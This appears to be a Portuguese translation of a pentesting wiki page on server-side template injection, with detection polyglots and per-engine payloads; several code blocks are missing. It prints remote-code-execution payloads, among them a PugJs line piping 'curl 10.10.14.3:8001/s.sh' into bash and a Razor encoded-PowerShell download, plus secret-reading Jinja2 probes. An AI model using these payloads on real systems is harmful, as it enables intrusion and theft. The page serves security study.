SSTI (Server Side Template Injection)
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
O que é SSTI (Injeção de Modelo do Lado do Servidor)
A injeção de modelo do lado do servidor é uma vulnerabilidade que ocorre quando um atacante pode injetar código malicioso em um modelo que é executado no servidor. Essa vulnerabilidade pode ser encontrada em várias tecnologias, incluindo Jinja.
Jinja é um mecanismo de modelo popular usado em aplicações web. Vamos considerar um exemplo que demonstra um trecho de código vulnerável usando Jinja:
Neste código vulnerável, o parâmetro name
da requisição do usuário é diretamente passado para o template usando a função render
. Isso potencialmente permite que um atacante injete código malicioso no parâmetro name
, resultando em uma injeção de template no lado do servidor.
Por exemplo, um atacante poderia criar uma requisição com um payload como este:
O payload {{bad-stuff-here}}
é injetado no parâmetro name
. Este payload pode conter diretivas de modelo Jinja que permitem ao atacante executar código não autorizado ou manipular o mecanismo de modelo, potencialmente obtendo controle sobre o servidor.
Para prevenir vulnerabilidades de injeção de modelo do lado do servidor, os desenvolvedores devem garantir que a entrada do usuário seja devidamente higienizada e validada antes de ser inserida nos modelos. Implementar validação de entrada e usar técnicas de escape sensíveis ao contexto pode ajudar a mitigar o risco dessa vulnerabilidade.
Detecção
Para detectar Injeção de Modelo do Lado do Servidor (SSTI), inicialmente, fazer fuzzing no modelo é uma abordagem direta. Isso envolve injetar uma sequência de caracteres especiais (${{<%[%'"}}%\
) no modelo e analisar as diferenças na resposta do servidor para dados regulares versus essa carga especial. Indicadores de vulnerabilidade incluem:
Erros lançados, revelando a vulnerabilidade e potencialmente o mecanismo de modelo.
Ausência da carga na reflexão, ou partes dela faltando, implicando que o servidor a processa de forma diferente do que dados regulares.
Contexto de Texto Simples: Distinguir de XSS verificando se o servidor avalia expressões de modelo (por exemplo,
{{7*7}}
,${7*7}
).Contexto de Código: Confirmar a vulnerabilidade alterando parâmetros de entrada. Por exemplo, alterar
greeting
emhttp://vulnerable-website.com/?greeting=data.username
para ver se a saída do servidor é dinâmica ou fixa, como emgreeting=data.username}}hello
retornando o nome de usuário.
Fase de Identificação
Identificar o mecanismo de modelo envolve analisar mensagens de erro ou testar manualmente várias cargas específicas de linguagem. Cargas comuns que causam erros incluem ${7/0}
, {{7/0}}
e <%= 7/0 %>
. Observar a resposta do servidor a operações matemáticas ajuda a identificar o mecanismo de modelo específico.
Ferramentas
um scanner eficiente de SSTI + CSTI que utiliza políglotos inovadores
uma tabela interativa contendo os poliglotas de injeção de template mais eficientes juntamente com as respostas esperadas dos 44 motores de template mais importantes.
Exploits
Genérico
Nesta lista de palavras você pode encontrar variáveis definidas nos ambientes de alguns dos motores mencionados abaixo:
Java
Java - Injeção Básica
Java - Obter as variáveis de ambiente do sistema
Java - Obter /etc/passwd
FreeMarker (Java)
Você pode tentar seus payloads em https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
Freemarker - Bypass de Sandbox
⚠️ apenas funciona em versões do Freemarker abaixo de 2.3.30
Mais informações
Na seção FreeMarker de https://portswigger.net/research/server-side-template-injection
Velocity (Java)
Mais informações
Na seção Velocity de https://portswigger.net/research/server-side-template-injection
Thymeleaf
No Thymeleaf, um teste comum para vulnerabilidades de SSTI é a expressão ${7*7}
, que também se aplica a este mecanismo de template. Para possíveis execuções de código remoto, podem ser usadas expressões como as seguintes:
SpringEL:
OGNL:
Thymeleaf requer que essas expressões sejam colocadas dentro de atributos específicos. No entanto, o inline de expressão é suportado para outras localizações de template, usando sintaxe como [[...]]
ou [(...)]
. Assim, um payload de teste de SSTI simples pode se parecer com [[${7*7}]]
.
No entanto, a probabilidade deste payload funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio TemplateResolver
para criar templates a partir de strings dinamicamente, o que é incomum.
Thymeleaf também oferece pré-processamento de expressão, onde expressões dentro de dois sublinhados duplos (__...__
) são pré-processadas. Este recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf:
Exemplo de Vulnerabilidade no Thymeleaf
Considere o trecho de código a seguir, que poderia ser suscetível à exploração:
Isso indica que se o mecanismo de template processar essas entradas de forma inadequada, pode levar à execução de código remoto acessando URLs como:
Mais informações
Spring Framework (Java)
Burlar filtros
Múltiplas expressões de variáveis podem ser usadas, se ${...}
não funcionar, tente #{...}
, *{...}
, @{...}
ou ~{...}
.
Ler
/etc/passwd
Script personalizado para geração de payload
Mais Informações
Manipulação de Visualização Spring (Java)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Versão antiga do Pebble ( < versão 3.0.9):
Nova versão do Pebble:
Jinjava (Java)
Jinjava é uma poderosa engine de template para Java que suporta injeção de template do lado do servidor (SSTI). É uma biblioteca de código aberto que permite a execução de código Java dentro de templates. Isso pode ser perigoso se não for devidamente protegido contra ataques de injeção de código.
Jinjava é um projeto de código aberto desenvolvido pela Hubspot, disponível em https://github.com/HubSpot/jinjava/
Jinjava - Execução de Comandos
Corrigido por https://github.com/HubSpot/jinjava/pull/230
Mais informações
Hubspot - HuBL (Java)
Delimitadores de declaração
{% %}
Delimitadores de expressão
{{ }}
Delimitadores de comentário
{# #}
{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Pesquise por "com.hubspot.content.hubl.context.TemplateContextRequest" e descubra o projeto Jinjava no Github.
Mais informações
Linguagem de Expressão - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
A Linguagem de Expressão (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para otimizar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
JavaServer Faces (JSF): Emprega EL para vincular componentes em páginas JSF aos dados e ações de backend correspondentes.
JavaServer Pages (JSP): EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página aos dados da aplicação.
Contexts and Dependency Injection for Java EE (CDI): EL se integra ao CDI para permitir uma interação perfeita entre a camada web e os beans gerenciados, garantindo uma estrutura de aplicação mais coerente.
Confira a seguinte página para aprender mais sobre a exploração dos interpretadores EL:
pageEL - Expression LanguageGroovy (Java)
Os seguintes desvios do Gerenciador de Segurança foram retirados deste artigo.
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
Smarty (PHP)
Mais informações
Na seção Smarty de https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
Twig - Formato de Template
Mais informações
Na seção Twig e Twig (Sandboxed) de https://portswigger.net/research/server-side-template-injection
Plates (PHP)
Plates é um mecanismo de modelagem nativo do PHP, inspirado no Twig. No entanto, ao contrário do Twig, que introduz uma nova sintaxe, o Plates utiliza código PHP nativo nos modelos, tornando-o intuitivo para os desenvolvedores PHP.
Controlador:
Modelo de página:
Modelo de layout:
Mais informações
PHPlib e HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB é o mesmo que PHPlib, mas portado para Pear.
authors.tpl
authors.php
Mais informações
Jade (NodeJS)
Mais informações
Na seção Jade de https://portswigger.net/research/server-side-template-injection
patTemplate (PHP)
patTemplate é um mecanismo de modelagem PHP não compilado que usa tags XML para dividir um documento em diferentes partes.
Mais informações
Handlebars (NodeJS)
Travessia de Caminho (mais informações aqui).
= Erro
${7*7} = ${7*7}
Nada
Mais informações
JsRender (NodeJS)
Template | Descrição |
Avalia e renderiza a saída | |
Avalia e renderiza a saída codificada em HTML | |
Comentário | |
e | Permite código (desativado por padrão) |
= 49
Lado do Cliente
Lado do Servidor
Mais informações
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Exemplo de renderização no lado do servidor
Mais informações
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = Sem saída
#{7*7} = #{7*7}
{{console.log(1)}} = Erro
Mais informações
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Erro
Mais informações
Slim (Ruby)
{ 7 * 7 }
Mais informações
Python
Confira a seguinte página para aprender truques sobre execução de comandos arbitrários contornando ambientes restritos em python:
pageBypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
Mais informações
Jinja2 (Python)
Jinja2 é um mecanismo de modelo completo para Python. Possui suporte total a Unicode, um ambiente de execução integrado com sandbox opcional, amplamente utilizado e licenciado sob a BSD.
{{7*7}} = Erro
${7*7} = ${7*7}
{{foobar}} Nada
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Formato de Template
RCE não dependente de __builtins__
:
Mais detalhes sobre como abusar do Jinja:
pageJinja2 SSTIOutros payloads em https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
Mais informações
Razor (.Net)
@(2+2) <= Sucesso
@() <= Sucesso
@("{{código}}") <= Sucesso
@ <= Sucesso
@{} <= ERRO!
@{ <= ERRO!
@(1+2)
@( //Código C# )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwAXAFQAYQBzAGsAcwAXAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AG0AZQB0ADYANAAuAGUAeABlAA==");
O método .NET
System.Diagnostics.Process.Start
pode ser usado para iniciar qualquer processo no servidor e assim criar um webshell. Você pode encontrar um exemplo de aplicativo da web vulnerável em https://github.com/cnotin/RazorVulnerableApp
Mais informações
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nada<%= response.write(date()) %>
= <Data>
Mais Informações
Mojolicious (Perl)
Mesmo sendo perl, ele usa tags como ERB em Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Erro
SSTI em GO
No mecanismo de template do Go, a confirmação de seu uso pode ser feita com payloads específicos:
{{ . }}
: Revela a entrada da estrutura de dados. Por exemplo, se um objeto com um atributoPassword
for passado,{{ .Password }}
poderia expô-lo.{{printf "%s" "ssti" }}
: Espera-se exibir a string "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Esses payloads devem retornar "ssti" sem adicionar "html" ou "js". Diretivas adicionais podem ser exploradas na documentação do Go aqui.
Exploração de XSS
Com o pacote text/template
, XSS pode ser direto ao inserir o payload diretamente. Por outro lado, o pacote html/template
codifica a resposta para evitar isso (por exemplo, {{"<script>alert(1)</script>"}}
resulta em <script>alert(1)</script>
). No entanto, a definição e invocação de templates em Go podem contornar essa codificação: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Exploração de RCE
A exploração de RCE difere significativamente entre html/template
e text/template
. O módulo text/template
permite chamar qualquer função pública diretamente (usando o valor "call"), o que não é permitido em html/template
. A documentação para esses módulos está disponível aqui para html/template e aqui para text/template.
Para RCE via SSTI em Go, os métodos de objetos podem ser invocados. Por exemplo, se o objeto fornecido tiver um método System
executando comandos, ele pode ser explorado como {{ .System "ls" }}
. Acesso ao código-fonte geralmente é necessário para explorar isso, como no exemplo fornecido:
Mais informações
Mais Exploits
Verifique o restante em https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection para mais exploits. Você também pode encontrar informações interessantes sobre tags em https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Ajuda Relacionada
Se você achar útil, leia:
Ferramentas
Lista de Detecção de Força Bruta
Prática e Referências
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
Last updated